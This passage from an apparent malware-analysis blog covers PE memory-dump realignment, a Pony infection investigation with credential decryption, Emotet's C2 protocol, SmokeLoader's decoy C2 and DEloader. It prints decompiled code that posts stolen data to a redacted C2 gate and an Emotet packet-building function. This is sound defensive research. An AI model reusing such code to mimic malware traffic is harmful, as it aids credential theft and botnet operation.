parser.add_argument('infile', type=str, help='Input file (without loaded base)')
parser.add_argument('outfile', type=str, help='Output relocated and realigned file')
args = parser.parse_args()
PeFile = open(args.infile, "rb").read()
LoadedBase = 0
pe =pefile.PE(data =PeFile)
Size = 0
for section in pe.sections:
Size = section.VirtualAddress
break
for section in pe.sections:
Size = section.VirtualAddress + section.Misc_VirtualSize
print "Size = %d" % Size
FinData = bytearray("\x00" * Size, "utf-8")
BaseAdd = 0
FirstSec = 1
for section in pe.sections:
if FirstSec:
FinData[0: section.PointerToRawData] = PeFile[BaseAdd : section.PointerToRawData]
BaseAdd = BaseAdd + section.PointerToRawData
FinData[section.VirtualAddress : section.VirtualAddress + section.SizeOfRawData] = PeFile[BaseAdd : BaseAdd + section.SizeOfRawData]
BaseAdd = BaseAdd + section.SizeOfRawData
FirstSec = 0
continue
FinData[section.VirtualAddress : section.VirtualAddress + section.SizeOfRawData] = PeFile[BaseAdd : BaseAdd + section.SizeOfRawData]
BaseAdd = BaseAdd + section.SizeOfRawData
print (section.Name, hex(section.VirtualAddress))
VAddr = pe.OPTIONAL_HEADER.DATA_DIRECTORY [pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_BASERELOC']].VirtualAddress
VSize = pe.OPTIONAL_HEADER.DATA_DIRECTORY [pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_BASERELOC']].Size
relocData = pe.parse_relocations_directory(VAddr, VSize)
fixups = []
rva = []
for i in relocData:
for j in i.entries:
if j.type != 3:
continue
FixUp = struct.unpack("<I", str(FinData[j.rva : j.rva + 4]) )[0]
fixups.append(FixUp)
pRelocEntry = struct.unpack("<I", str(FinData [ VAddr : VAddr + 4]))[0]
SizeOfBlock = struct.unpack("<I", str(FinData [ VAddr + 4: VAddr + 8]))[0]
while pRelocEntry:
rva.append(pRelocEntry)
print "RVA %x size = %d" % (pRelocEntry, SizeOfBlock)
VAddr = VAddr + ( SizeOfBlock )
pRelocEntry = struct.unpack("<I", str(FinData [ VAddr : VAddr + 4]))[0]
SizeOfBlock = struct.unpack("<I", str(FinData [ VAddr + 4: VAddr + 8]))[0]
print "Minumum Value at offset %s " % hex(min(fixups))
for i in rva:
Mask = int("f" * len(hex(i)[2:] ), 16)
OffsetRVA = (min(fixups) & Mask) - i
if OffsetRVA < 4096 and OffsetRVA >= 0 : # page size 4096 KB
print "Found Loaded Base Address 0x%x" % (min(fixups) - OffsetRVA - i)
delta = (min(fixups) - OffsetRVA - i) - pe.OPTIONAL_HEADER.ImageBase
for i in relocData:
for j in i.entries:
if j.type != 3:
continue
FixUp = struct.unpack("<I", str(FinData[j.rva : j.rva + 4]) )[0] - delta
fixups.append(FixUp)
FinData[j.rva :j.rva + 4] = struct.pack("I", FixUp)
#print j.type
Unexec = ""
FirstSec = 1
for section in pe.sections:
if FirstSec:
UnExec = (FinData[0: section.PointerToRawData])
FirstSec = 0
UnExec = UnExec + (FinData[section.VirtualAddress : section.VirtualAddress + section.SizeOfRawData])
continue
UnExec = UnExec + (FinData[section.VirtualAddress : section.VirtualAddress + section.SizeOfRawData])
open(args.outfile, "wb").write(UnExec)
return FinData
if __name__ == '__main__':
Realign()
</code></pre>
<p><a href="https://svbtleusercontent.com/4YucYq9aBA2nhHsKTBou1g0xspap.png"><img src="https://svbtleusercontent.com/4YucYq9aBA2nhHsKTBou1g0xspap_small.png" alt="Screen Shot 2019-11-26 at 3.25.35 PM.png"></a></p>
<p>There is a cool project known as <code class="prettyprint">pe_unmapper</code>(<a href="https://github.com/hasherezade/libpeconv/tree/master/pe_unmapper">https://github.com/hasherezade/libpeconv/tree/master/pe_unmapper</a>) by hasherezade which helps in unexecing the memory dump into raw images . It also performs the necessary relocations . I implemented the above mentioned technique in pe_unmapper to relocate binaries without a need of <code class="prettyprint">loadedbase</code> address . pe_unmapper takes the following arguments , one of them being <code class="prettyprint">loadedbase</code> , but with the necessary modifications it works without <code class="prettyprint">loadedbase</code> being provided .</p>
<p><a href="https://svbtleusercontent.com/7mUUvE6WV7Her1CoMcRsKC0xspap.png"><img src="https://svbtleusercontent.com/7mUUvE6WV7Her1CoMcRsKC0xspap_small.png" alt="Screen Shot 2019-11-26 at 3.32.37 PM.png"></a></p>
<pre><code class="prettyprint">#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <winnt.h>
#include <vector>
#include <iostream>
#include <algorithm>
#include <string>
using namespace std;
unsigned int LOADEDBASE = 0;
unsigned char ImageName[0x100];
IMAGE_SECTION_HEADER pTail[10];
int countDigit(unsigned int n)
{
if (n == 0)
return 0;
return 1 + countDigit(n / 10);
}
unsigned int GuessRelocation(unsigned char *fileName)
{
unsigned short iNumSec = 0;
vector<unsigned int> ValAtFixups;
vector<unsigned int> RVA;
FILE *fp = NULL;
PIMAGE_BASE_RELOCATION RelocTable = NULL;
unsigned int iRelocVaddr = 0;
IMAGE_DOS_HEADER DosHdr = { 0 };
IMAGE_FILE_HEADER FileHdr = { 0 };
IMAGE_OPTIONAL_HEADER OptHdr = { 0 };
PIMAGE_BASE_RELOCATION pRelocEntry = NULL;
unsigned int RelocBlockSize = 0;
unsigned int *FixUp = 0;
unsigned char *pMappedImage = NULL;
int i = 0;
unsigned int MZ_PE_LEN = 0;
unsigned short iHdrLen = 0;
unsigned int delta = 0;
fp = fopen((const char*)fileName, "rb");
fread(&DosHdr, sizeof(IMAGE_DOS_HEADER), 0x01, fp);
fseek(fp, (unsigned int)DosHdr.e_lfanew + 4, SEEK_SET);
fread(&FileHdr, sizeof(IMAGE_FILE_HEADER), 1, fp);
fread(&OptHdr, sizeof(IMAGE_OPTIONAL_HEADER), 1, fp);
LOADEDBASE = 0;
while (iNumSec < FileHdr.NumberOfSections)
{
fread(&pTail[iNumSec], sizeof(IMAGE_SECTION_HEADER), 1, fp);
iNumSec++;
}
MZ_PE_LEN = ftell(fp);
iHdrLen = MZ_PE_LEN;
while (i < iNumSec)
{
printf("\nVSize of section = %d", pTail[i].Misc.VirtualSize);
MZ_PE_LEN += pTail[i].VirtualAddress;
i++;
}
i = 0;
pMappedImage = (unsigned char*)VirtualAlloc(0, sizeof(char) * MZ_PE_LEN + 10, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
fseek(fp, 0, SEEK_SET);
fread(pMappedImage, iHdrLen, 0x01, fp);
i = 0;
while (i < iNumSec)
{
fseek(fp, pTail[i].PointerToRawData, SEEK_SET);
fread(&pMappedImage[pTail[i].VirtualAddress], pTail[i].SizeOfRawData, 0x01, fp);
i++;
}
pRelocEntry = (PIMAGE_BASE_RELOCATION)((unsigned int)OptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress + (unsigned int)pMappedImage);
while (pRelocEntry->VirtualAddress)
{
iRelocVaddr = pRelocEntry->VirtualAddress;
RelocBlockSize = (pRelocEntry->SizeOfBlock - 8) / 2;
pRelocEntry = (PIMAGE_BASE_RELOCATION) (unsigned char*)pRelocEntry + 8;
while (RelocBlockSize--)
{
if (*(unsigned short*)pRelocEntry == 0x3000)
{
pRelocEntry = (PIMAGE_BASE_RELOCATION)(unsigned char*)pRelocEntry + 2;
continue;
}
FixUp = (unsigned int*)(*(unsigned short*)pRelocEntry & 0x0fff);
RVA.insert(RVA.begin(), (unsigned int )FixUp + (unsigned int )iRelocVaddr);
FixUp = (unsigned int*)((unsigned int)FixUp + ((unsigned int)pMappedImage + (unsigned int)iRelocVaddr));
ValAtFixups.insert(ValAtFixups.begin(), *FixUp);
pRelocEntry = (PIMAGE_BASE_RELOCATION) ((unsigned char*)pRelocEntry + 2);
}
}
printf("\nmin value = %x", *min_element(ValAtFixups.begin(), ValAtFixups.end()));
unsigned int minValOffset = *min_element(ValAtFixups.begin(), ValAtFixups.end());
vector<unsigned int>::iterator it;
for (it = RVA.begin(); it != RVA.end(); it++) {
int i = 0;
string str;
char digit[33] = {0};
itoa(*it, digit, 10);
for (; i < strlen(digit); i++)
str.push_back('f');
unsigned int Mask = stoi(str, 0, 16);
unsigned int OffsetRVA = (minValOffset & Mask) - *it;
if (OffsetRVA < 4096 && OffsetRVA >= 0)
{
printf("\nFound LoadedBased Address = %x\n", minValOffset - OffsetRVA - *it);
return minValOffset - OffsetRVA - *it;
}
}
fclose(fp);
return 0;
}
</code></pre>
<p><a href="https://svbtleusercontent.com/7z57ci15Xdz9uAKbBddLyJ0xspap.png"><img src="https://svbtleusercontent.com/7z57ci15Xdz9uAKbBddLyJ0xspap_small.png" alt="Screen Shot 2019-11-26 at 3.35.50 PM.png"></a></p>
<p><a href="https://svbtleusercontent.com/fspKwfkp1F5PYGQUoh8NuU0xspap.png"><img src="https://svbtleusercontent.com/fspKwfkp1F5PYGQUoh8NuU0xspap_small.png" alt="Screen Shot 2019-11-26 at 3.36.37 PM.png"></a></p>
tag:int0xcc.svbtle.com,2014:Post/practical-threat-hunting-and-incidence-response-a-case-of-a-pony-malware-infection2019-07-30T14:10:21-07:002019-07-30T14:10:21-07:00Practical Threat Hunting and Incidence Response : A Case of A Pony Malware Infection
<p>Most organizations opt for an incidence response , after a catastrophic cyber security event has taken place . Incidence response and threat hunting focus on events that happen after an endpoint is hit by a cyber attacks ,for example a malware infection . One of the main goals of a holistic approach for threat hunting and incidence response is to determine the extent of damages done by the attack and recover as much possible from it . </p>
<p>In this blog post , I will present a scenario of threat hunting and Incidence response out of a malware infection on an endpoint . </p>
<p>First step in threat hunting is to look for infection markers , and a basic way to figure out a malware infection is to look for any suspicious running processes </p>
<p><a href="https://svbtleusercontent.com/sp8PVQZ7CHnRG2kJaVC54B0xspap.png"><img src="https://svbtleusercontent.com/sp8PVQZ7CHnRG2kJaVC54B0xspap_small.png" alt="pasted-image-10.png"></a></p>
<p>Quickly we are able to locate a suspicious running process named as <br>
<em>Pckntl.exe</em> . This is what most people do next , upload the file to virus total, but often times it does no justice . </p>
<p><a href="https://svbtleusercontent.com/eETVRofNHCLnokjxPwsXB50xspap.png"><img src="https://svbtleusercontent.com/eETVRofNHCLnokjxPwsXB50xspap_small.png" alt="pasted-image-12.png"></a></p>
<p>By all means , this malware seems to be packed and obfuscated , perhaps why none of the anti virus/endpoint systems were able to detect this file with full confidence . </p>
<p>And , this is where we will have to get our hands dirty and do the nasty work . We have to do some manual work on this file . As soon as we dig bit deeper , we immediate figure out this is a VB 6 packed file . Decompiling the file revels lots of name mangling and obfuscation used.</p>
<p><a href="https://svbtleusercontent.com/cunJDGiU4pXkRBD4xdRnVG0xspap.png"><img src="https://svbtleusercontent.com/cunJDGiU4pXkRBD4xdRnVG0xspap_small.png" alt="pasted-image-14.png"></a></p>
<p>Code behind the VB 6 packer is irrelevant to our analysis , unless you have got lot of free time in your hands . Instead of banging our heads around this useless code , we will let it run and break in between to get a look at the real hidden code behind this packer </p>
<p>After running it for a while , we attach debugger and the hidden code is finally revealed </p>
<p><a href="https://svbtleusercontent.com/d26bEJgbMukKXLXMnbSzVi0xspap.png"><img src="https://svbtleusercontent.com/d26bEJgbMukKXLXMnbSzVi0xspap_small.png" alt="pasted-image-16.png"></a></p>
<p>There are lot of strings and functions calls in this code , which probably means that this is the final layer of unpacked malware and consequently we dump the code to file system </p>
<p>The obvious next task would be to correctly identify this malicious code . Earlier , we had no luck with VirusTotal , so this time instead of using virus total , we will use this amazing malware identification platform known as <strong>Malpedia</strong> created by Daniel Plohmann. This system is great for maching with Yara rules written by community , and it does have a plethora of Yara mules to match against . </p>
<p><a href="https://svbtleusercontent.com/93G2nVFDDBVPv7m838frEq0xspap.png"><img src="https://svbtleusercontent.com/93G2nVFDDBVPv7m838frEq0xspap_small.png" alt="pasted-image-20.png"></a></p>
<p><a href="https://svbtleusercontent.com/9Ze9ahtdEAiLnDR99K1BCX0xspap.png"><img src="https://svbtleusercontent.com/9Ze9ahtdEAiLnDR99K1BCX0xspap_small.png" alt="pasted-image-22.png"></a></p>
<p>And Wow! , Malpedia didn’t disappoint us . Impressive system .</p>
<p>Immediately , this great system was able to figure out which malware this belongs to . Malpedia was able to identify this samples as Pony trojan . </p>
<p>Now what does this pony malware do ?</p>
<p> A pony malware is a credential harvesting malware . we will have to resurrect the forensic investigator in all of us :P . As its happens to be a credential harvester and the endpoint was infected , most certainly so credentials were exfiltrated from network . This is where incidence response comes into play . We will investigate about the exfiltrated credentials and possibly recover them . </p>
<p>As we notice the captured PCAP file , it is quite obvious that the exfiltrated data is in someways encrypted </p>
<p><a href="https://svbtleusercontent.com/aVcfsd3MTLv6SZ7bRwwhRN0xspap.png"><img src="https://svbtleusercontent.com/aVcfsd3MTLv6SZ7bRwwhRN0xspap_small.png" alt="Screen Shot 2019-07-31 at 2.03.39 AM.png"></a></p>
<p>But before we start feeling lucky , we have got another hurdle in front of us . The malware has control flow obfuscation in its code . This makes analysis terribly difficult and defeats IDA’s static analysis engine </p>
<p><a href="https://svbtleusercontent.com/3Q43gwfB48xJznf38o52ac0xspap.png"><img src="https://svbtleusercontent.com/3Q43gwfB48xJznf38o52ac0xspap_small.png" alt="pasted-image-24.png"></a></p>
<p>It uses stack to align control flow , with some instructions in-between which have no side effects on EIP. In order to recover from this mess and allow IDA to recognize subroutines with proper stack alignment , we will write an IDAPython script to deobfuscate this bad boy </p>
<pre><code class="prettyprint">AntiDisam = 0
Debug = 0
def WriteMem(addr, buff):
global Debug
if Debug:
DbgWrite(addr, buff)
else:
for i in buff:
PatchByte(addr, ord(i))
addr = addr + 1
return
while 1:
blackList = [0x00410621,0x004105C3 ]
AntiDisam = FindBinary(AntiDisam + 1, SEARCH_DOWN, "55 8B EC 5D 68 ?? ?? ?? ?? F8 72 01")
print hex(AntiDisam)
if AntiDisam == 0xffffffff:
break
if AntiDisam in blackList:
WriteMem(AntiDisam + 3, "\x90" * 11)
continue
WriteMem(AntiDisam, "\x90" * 14)
</code></pre>
<p><a href="https://svbtleusercontent.com/5Ft2mkriGMTSHSReKP6jpD0xspap.gif"><img src="https://svbtleusercontent.com/5Ft2mkriGMTSHSReKP6jpD0xspap_small.gif" alt="ezgif-2-d10981b1b3a8.gif"></a></p>
<p>** Before and after executing script **</p>
<p>We start analysing from the place it sends exfiltrated data to c2</p>
<pre><code class="prettyprint"> if ( pstm && GeneratePacket(pstm, &Data) == 1 )
{
for ( i = “http://XXXX/gate.php”; *i && !v0; ++i )
{
v3 = 2;
while ( 1 )
{
v4 = 0;
if ( SendPacket(i, pstm, (int)&v4) )
{
if ( v4 )
{
v0 = sub_40FB14(v4);
if ( !v0 )
{
if ( sub_401BC0(v4) )
v0 = sub_40FB14(v4);
}
}
}
</code></pre>
<p>An abridged version of our analysis would be the following </p>
<ul>
<li> Data is recovered from saved password of many applications ( FTP, EMail, Browser, bitcoin )</li>
<li> Header and metadata information is appended to packet ( PWD FILE 01 version and magic with length fields )</li>
<li>This packet is compressed using APLIB </li>
<li>Another packet header is appended with header CRYPTED0 magic , subsequently this packet is encrypted using RC4 with a hardcoded key<br>
</li>
<li>Furthermore , this packet is again encrypted using RC4 , but this time with a randomly generated key , appended to the packet at first 4 bytes </li>
</ul>
<p>It would be relatively easy to convert this narrative into a python code and decrypt the exfiltrated data from PCAP file </p>
<pre><code class="prettyprint">import struct
import aplib
import sys
def main():
ciphertext = open(sys.argv[1], "rb").read()
key =ciphertext[0:4]
ciphertext = ciphertext[4:].encode("hex")
decrypted = decrypt(key, ciphertext)
key = "K!K"
ciphertext = decrypted[8:].encode("hex")
decrypted = decrypt(key, ciphertext)
open("FinalOutput", "wb").write(aplib.decompress(decrypted[0x0c + 4:]))
main()
</code></pre>
<p><code class="prettyprint">Python Decrypt.py Ouput.bin</code></p>
<p><a href="https://svbtleusercontent.com/uaLAVTeGXmYux64vyTndZw0xspap.png"><img src="https://svbtleusercontent.com/uaLAVTeGXmYux64vyTndZw0xspap_small.png" alt="pasted-image-34.png"></a></p>
<p>And finally we get to see the exfiltrated credentials in plain text . Attackers managed to steal some Email credentials and FTP logins </p>
tag:int0xcc.svbtle.com,2014:Post/dissecting-emotet-s-network-communication-protocol2019-04-22T09:06:22-07:002019-04-22T09:06:22-07:00Dissecting Emotet’s network communication protocol
<p><a href="https://svbtleusercontent.com/8W23UpkDJf2KpMcM2pxB5L0xspap.png"><img src="https://svbtleusercontent.com/8W23UpkDJf2KpMcM2pxB5L0xspap_small.png" alt="images.png"></a></p>
<p><strong><em>Request Packet format</em></strong></p>
<p>Communication protocol for any malware lies at the core of its functionality . It is the essential way for any malware to communicate and receive further commands . Emotet has a complex communication format . <br>
Its peculiarities are the way the protocol is built and sent across the network . Knowing internal details of its communication format is essential to keep tabs on it . In this post we are going to analyze Emotet communication format . </p>
<p> we will be skipping the unpacking and reconstruction part , as it is irrelevant to this topic of discussion .</p>
<p>In this post , we will be specifically looking for areas of interest in the binary , there will be some parts that are analyzed preemptively .</p>
<p>An unpacked emotet sample has around ~100 functions , as populated by IDA . Going through each of them to look for communication subroutines would be “A short in the dark” . The easiest way would be to look for network API calls and xrefs would sort out most of the dirty work for us </p>
<p><a href="https://svbtleusercontent.com/dEwHmD7Z3h28VjAoBMEFBh0xspap.png"><img src="https://svbtleusercontent.com/dEwHmD7Z3h28VjAoBMEFBh0xspap_small.png" alt="pasted-image-10.png"></a></p>
<p>Luckily in emotet., there is only one xref to this API call , which perhaps would be the subroutine where the communication to c2 server happens . This subroutine receives an encrypted and compressed packet with parameters like c2 server, port and sends it out . Xrefing back few subroutines would land us to the place where the packet is formulated . For comprehension , let’s name this subroutine as ConnectAndSend</p>
<p><a href="https://svbtleusercontent.com/3Qrq2uNWJp3YNGj9ahhwRp0xspap.png"><img src="https://svbtleusercontent.com/3Qrq2uNWJp3YNGj9ahhwRp0xspap_small.png" alt="pasted-image-12.png"></a></p>
<p>Tracking back xfrefs , we finally reach to the subroutine where the packet is generated . And , based on API calls and variables used , we can easily name few local variables and subroutines used , for example Botid, crc32, etc </p>
<p>Based on how stack variable are set , we get an idea that a struct is formulated . The definition of the structure would be as following </p>
<pre><code class="prettyprint">struct Emotet_BotInfo
{
DWORD Uptime;
BYTE *BotID;
DWORD BotIDLen;
DWORD MajMinOSversion;
DWORD TermSessID;
DWORD Crc32HashBinary;
BYTE *ProcList;
DWORD ProlistLen;
DWORD PluginsInstalled[];
DWORD PluginsLen;
};
</code></pre>
<p>Uptime - Measure of uptime of the infection <br>
<em>BotID</em> - Botnet Identifier (unique per infection)<br>
<em>BotIDLen</em> - Length of BotID<br>
<em>MajMinOSversion *- Operating system identifier <br>
*TerminalSessID</em> - Terminal Session ID<br>
<em>Crc32HashBinary</em> - CRC32 hash of binary <br>
<em>ProcList</em> - List of running processes ( comma segregated )<br>
<em>PluginsInstalled</em> - Array of DWORD consisting of MODID’s of plugins installed </p>
<p>This structure is passed on to a function that calculates total round size based on some bit shifts . This shifting gives us a clue about the format of the packet . Lets look at these patterns</p>
<p><a href="https://svbtleusercontent.com/8WkQbK67VQWhqemqqvuVue0xspap.png"><img src="https://svbtleusercontent.com/8WkQbK67VQWhqemqqvuVue0xspap_small.png" alt="pasted-image-14.png"></a></p>
<p>Translating it to a code snippet would roughly be equivalent to<br>
<a href="https://svbtleusercontent.com/vNzZG5i8bi15k6xiGFqf980xspap.jpg"><img src="https://svbtleusercontent.com/vNzZG5i8bi15k6xiGFqf980xspap_small.jpg" alt="pasted-image-16 copy.jpg"></a></p>
<pre><code class="prettyprint">towrite = number & 0x7f
number >>= 7
</code></pre>
<p>This code encodes an integer to LEB128 or Little Endian Base 128 format (VARINT). And one of the serialized buffer formats that support it is the google protobuf format , this clue again makes the reversing equation easy for us . Some old emotet analysis blogs support our assumption . <br>
Emotet has two packets one being encapsulated in the other . The inner layer lets call it base packet. Base packet fundamentally is a group of entries with metadata information . Metadata includes type of data and an index number particular to the entry . Entries have a simple structure , but varies according to the type of entry </p>
<pre><code class="prettyprint">Struct EmotetEntry
{
VARINT ULEB128_EntryLength ;
BYTE Data[ULEB128_EntryLength];
}
</code></pre>
<p>Emotet’s base packet has three type of data entries, and are marked by numbers in the metadata </p>
<p>Type of element and type of data entry is specified in the metadata field </p>
<p>so, the complete definition of base packet would be something like this </p>
<pre><code class="prettyprint">struct BaseEmotetPacket
{
BYTE MetaData
Struct EmotetEntry
{
VARINT ULEB128_EntryLength ;
BYTE Data[ULEB128_EntryLength];
}
}[n];
</code></pre>
<p>MetaData is a bitfield data type , which consists of <br>
<em>** 0-3 bits - Type of data field *</em>*<br>
<em>**3-7 bits - Index Number of Data field *</em>*</p>
<p>Where <em>index</em> is a incremental number and type is an enum </p>
<pre><code class="prettyprint">Enum Type
{
Type 5 : Machine dependent endian WORD size integer
Type 2 : Buffer Struct { VARINT ULEN128_Size, BYTE data[ULEN128_Size];
Type 0 : ULEN128 encoded variant
}
</code></pre>
<p>The code to add an entry in base packet can be defined in python as</p>
<pre><code class="prettyprint">def AppendElement(protoBuf, type, value, itemNum):
protoBuf = protoBuf + struct.pack("B", ( (itemNum << 3) | type ) & 0xff)
if type == 5: #DWORD Copy 32bit integer as it is
return protoBuf + struct.pack("I", value)
if type == 2: # Memory Buffer struct {VARINT ULEB128_Size, void * buf}
return protoBuf + encode(len(value)) + value
if type == 0: # encode DWORD in ULEB128
return protoBuf + encode(value)
</code></pre>
<p>Later on , base packet is compressed and further more encapsulated in another packet </p>
<p>The definition of the final packet is almost the same as the base packet , but the only subtle difference is that it only has one field , which is the encapsulated base packet </p>
<pre><code class="prettyprint">struct FinalPacket
{
BYTE MetaData;
Struct BaseEmotetPacket BasePacket;
};
</code></pre>
<p><a href="https://svbtleusercontent.com/nioJVWuizTWKf16igYtDnD0xspap.png"><img src="https://svbtleusercontent.com/nioJVWuizTWKf16igYtDnD0xspap_small.png" alt="pasted-image-20.png"></a></p>
<p>This data is sent to c2 server immediately after encrypting the final packet . </p>
<p><strong><em>Response Packet format</em></strong></p>
<p><a href="https://svbtleusercontent.com/veTs1ZU6Rk1Dfy7ZWpjrdA0xspap.png"><img src="https://svbtleusercontent.com/veTs1ZU6Rk1Dfy7ZWpjrdA0xspap_small.png" alt="pasted-image-22.png"></a></p>
<p>Response data from c2 from received is decompressed , and the plain text data is supplied to a subroutine for deserialization . </p>
<p>The response data field uses the same variable length integer encoding and is almost structured in the same way .</p>
<p>Response format is complex and tentative for each type of request and bot configuration .</p>
<p>Similarly like base request packet, this structure consists of a type and number bitfield , which determines which type of data field is it . In case of response , it has three of them </p>
<p><em>1 : Main module packet *<br>
*2 : Binary update data</em><br>
<em>3 : Deliverables data</em></p>
<pre><code class="prettyprint">struct EmotetResponse
{
unsigned char Number : 4;
unsigned char Type : 4;
unsigned char ModID; // Each module has modid ( 0 for main module)
unsigned char Number : 4;
unsigned char Type : 4;
VARINT UpdateBinLen; // Varint Type ULEB128 Encoded
BYTE BinaryBlob[UpdateBinLen]; // Update Binary PE FILE
unsigned char Number : 4;
unsigned char Type : 4;
VARINT deliverablesLen;
struct deliverables_
{
unsigned char Number : 4;
unsigned char Type : 4;
unsigned char ModID; // PluginModid
unsigned char ExeFlag; // "" 3 - Plugin , 2 - WriteElevatedExecute, 1 - writeExecute"""
VARINT PluginLen; // Varint Type ULEB128 Encoded
BYTE PluginBinaryBlob[PluginLen]; // Update Binary PE FILE
}
}
</code></pre>
tag:int0xcc.svbtle.com,2014:Post/a-taste-of-our-own-medicine-how-smokeloader-is-deceiving-dynamic-configuration-extraction-by-using-binary-code-as-bait2018-09-18T13:36:04-07:002018-09-18T13:36:04-07:00A taste of our own medicine : How SmokeLoader is deceiving configuration extraction by using binary code as bait
<p>A taste of our own medicine : How smokeloader is deceiving dynamic configuration extraction by using binary code as bait</p>
<p>Recently an interesting smoke loader sample caught my eye ,and moreover I had to put smoke loader monitoring under scrutiny , as my monitoring script found it hard to locate a live c2 . Then suddenly something strange I noticed on the dashboard , the output c2’s from the configuration extraction script and the generated pcap were different </p>
<p><a href="https://svbtleusercontent.com/iFgfV3YVqNy638baTGeXaz0xspap.png"><img src="https://svbtleusercontent.com/iFgfV3YVqNy638baTGeXaz0xspap_small.png" alt="pasted-image-10.png"></a><br>
<em>Output From config extraction</em></p>
<p><a href="https://svbtleusercontent.com/qwpZEgevZ9rZZsX2fppm7H0xspap.png"><img src="https://svbtleusercontent.com/qwpZEgevZ9rZZsX2fppm7H0xspap_small.png" alt="pasted-image-14.png"></a><br>
<em>Pcap generated output</em></p>
<p>Notice the subtle difference between two outputs ?</p>
<p>A configuration extraction script is essentially an instrumenting script ( using windbg or a memory acquisition tool) to extract configuration ( c2’s , keys , campaigns, etc ) from a running malware binary . It’s sole purpose is to capture a pattern in a binary to extract certain parameters like DWORD’s , constants or pointers to memory region . Generally there is a long sleep call between consecutive attempts to connects multiple c2’s , which is essentially a way though which it keeps its secondary c2’s hidden , as mostly only one of the few c2’s gets listed in a sandbox report . <br>
The smoke loader configuration happens to be a list of c2’s and encryption keys ( DWORD )</p>
<p><a href="https://svbtleusercontent.com/h3C16vUg7qHqp91G4SACFD0xspap.png"><img src="https://svbtleusercontent.com/h3C16vUg7qHqp91G4SACFD0xspap_small.png" alt="pasted-image-16.png"></a></p>
<p>This subroutine that generates a hidden c2, roughly translates to following stream in opcode . <br>
<code class="prettyprint"> 33 C0 83 F9 02 0F 44 C8 89 0D 80 6C 00 10 8B 0C 8D E8 12 00 10</code></p>
<p>Extracting Numc2 and C2BufferArray ( encoded c2 list buffer) would be a matter of creating a regex </p>
<p><code class="prettyprint">RegEx = \x33\xC0\x83\xF9(.)\x0F\x44\xC8\x89\x0D.{4}\x8B\x0C\x8D(.{4})</code></p>
<p><a href="https://svbtleusercontent.com/bqMuqZER14muuEUTRj7Vs30xspap.png"><img src="https://svbtleusercontent.com/bqMuqZER14muuEUTRj7Vs30xspap_small.png" alt="pasted-image-18.png"></a></p>
<p>But unpacking a particular sample mentioned earlier , revealed another side of the story . Although the code to load encoded c2 buffer was there , but the coding routine was a clever choice of deception, which feeds a fake encoded c2 buffer , though decoded buffer is a valid http resource , but instead chooses to take the c2 buffer from a plain text value in between the subroutine<br>
<a href="https://svbtleusercontent.com/veZ35wVExtXPwYw3iSoGED0xspap.png"><img src="https://svbtleusercontent.com/veZ35wVExtXPwYw3iSoGED0xspap_small.png" alt="pasted-image-20.png"></a></p>
<p>But the fact to notice is , not only it would fools scripts , but difference between the real and the fake c2 is so subtle , that it deceives the eyes of the beholder as well. </p>
<p>SmokeLoader has suffered considerably a lot due to immediate c2 takedown , its no surprise that they were looking for a quick and a smart way to tackle this problem , but seldom it goes unnoticed </p>
tag:int0xcc.svbtle.com,2014:Post/dissecting-obfuscated-deloader-malware2018-09-06T13:31:13-07:002018-09-06T13:31:13-07:00Dissecting DEloader malware with obfuscation <p>DEloader is a loader malware which is mostly used to load Zeus banking trojan . It is a stealth malware designed to keep the payload hidden and encrypted in the memory . A payload is dynamically retrieved from a remote https server So far there have been 3 versions of DEloader captured in the wild . Version <strong>0x10E0700</strong> , <strong>0x1050500h</strong> and <strong>0x1120300h</strong>. More recently in version <strong>0x1120300h</strong> they added code obfuscation </p>
<p>Main loader file is a DLL with export named as <strong>‘start’</strong> or <strong>‘begin’</strong> . These exports are called by packer . Essentially because this DLL is memory loaded image , imports and images are relocated via the code in these exports <br>
<a href="https://svbtleusercontent.com/kLUj89gtBtPXZC2J4avjRg0xspap.png"><img src="https://svbtleusercontent.com/kLUj89gtBtPXZC2J4avjRg0xspap_small.png" alt="1.png"></a></p>
<p>Earlier version included a share file map as a marker for infection . Shared file mapping would contain necessary information for the Deloader to run<br>
<a href="https://svbtleusercontent.com/5oa7ffJPanQe5JRfL5FTd90xspap.png"><img src="https://svbtleusercontent.com/5oa7ffJPanQe5JRfL5FTd90xspap_small.png" alt="2.png"></a></p>
<p>If the mapping is found, the data from the map is fed to decoding algorithm which is based on Rc4 and decodes using a fixed state buffer . This Algorithm is later used to decode buffer downloaded from c2 .<br>
<a href="https://svbtleusercontent.com/8cmebqjVSyCu8Q45VCJCV50xspap.png"><img src="https://svbtleusercontent.com/8cmebqjVSyCu8Q45VCJCV50xspap_small.png" alt="image4-23.png"></a></p>
<p>Buffer can be either downloaded from c2 or the previously saved one is extracted from registry , which is later decoded using an embedded rc4 state buffer . </p>
<p><a href="https://svbtleusercontent.com/jKNfgcrk6fwYx1xgz3mEhX0xspap.png"><img src="https://svbtleusercontent.com/jKNfgcrk6fwYx1xgz3mEhX0xspap_small.png" alt="image5-25.png"></a></p>
<p><a href="https://svbtleusercontent.com/3vRXY6QFPRGXYaN3TrzZW80xspap.png"><img src="https://svbtleusercontent.com/3vRXY6QFPRGXYaN3TrzZW80xspap_small.png" alt="image6-27.png"></a></p>
<p>C2’s are present in an embedded structure known baseconifg which consists configuration and c2’s address necessary for the loader to operate . In both the versions static config in encoded state </p>
<p>It can have single or multiple c2’s . Each of them is separated by a semi-colon ‘;’ . <br>
In earlier versions c2 url was present as an encoded resource on a remote https server . And was downloaded using a get HTTP/HTTPSs request </p>
<p><a href="https://svbtleusercontent.com/wSnfAHoniiyMRGeQtqwyFm0xspap.png"><img src="https://svbtleusercontent.com/wSnfAHoniiyMRGeQtqwyFm0xspap_small.png" alt="image7-29.png"></a></p>
<p>However in the latest version, it includes a URL where encoded system internal data is posted and in return an encoded data buff is returned back . <br>
<a href="https://svbtleusercontent.com/6NhvwRRwvNtfn79uT7rWzh0xspap.png"><img src="https://svbtleusercontent.com/6NhvwRRwvNtfn79uT7rWzh0xspap_small.png" alt="image8-31.png"></a></p>
<p>This data is encoded with the same rc4state buffer extracted from static config embedded in the binary .Depending upon an internal flag it could be compressed as well . The compression algorithm used is unrv2b which happens to be the same one used in traditional Zeus malware .Also integrity of data is checked against a CRC32 hash DWORD present at the end of the data packet <br>
raw response can represented as </p>
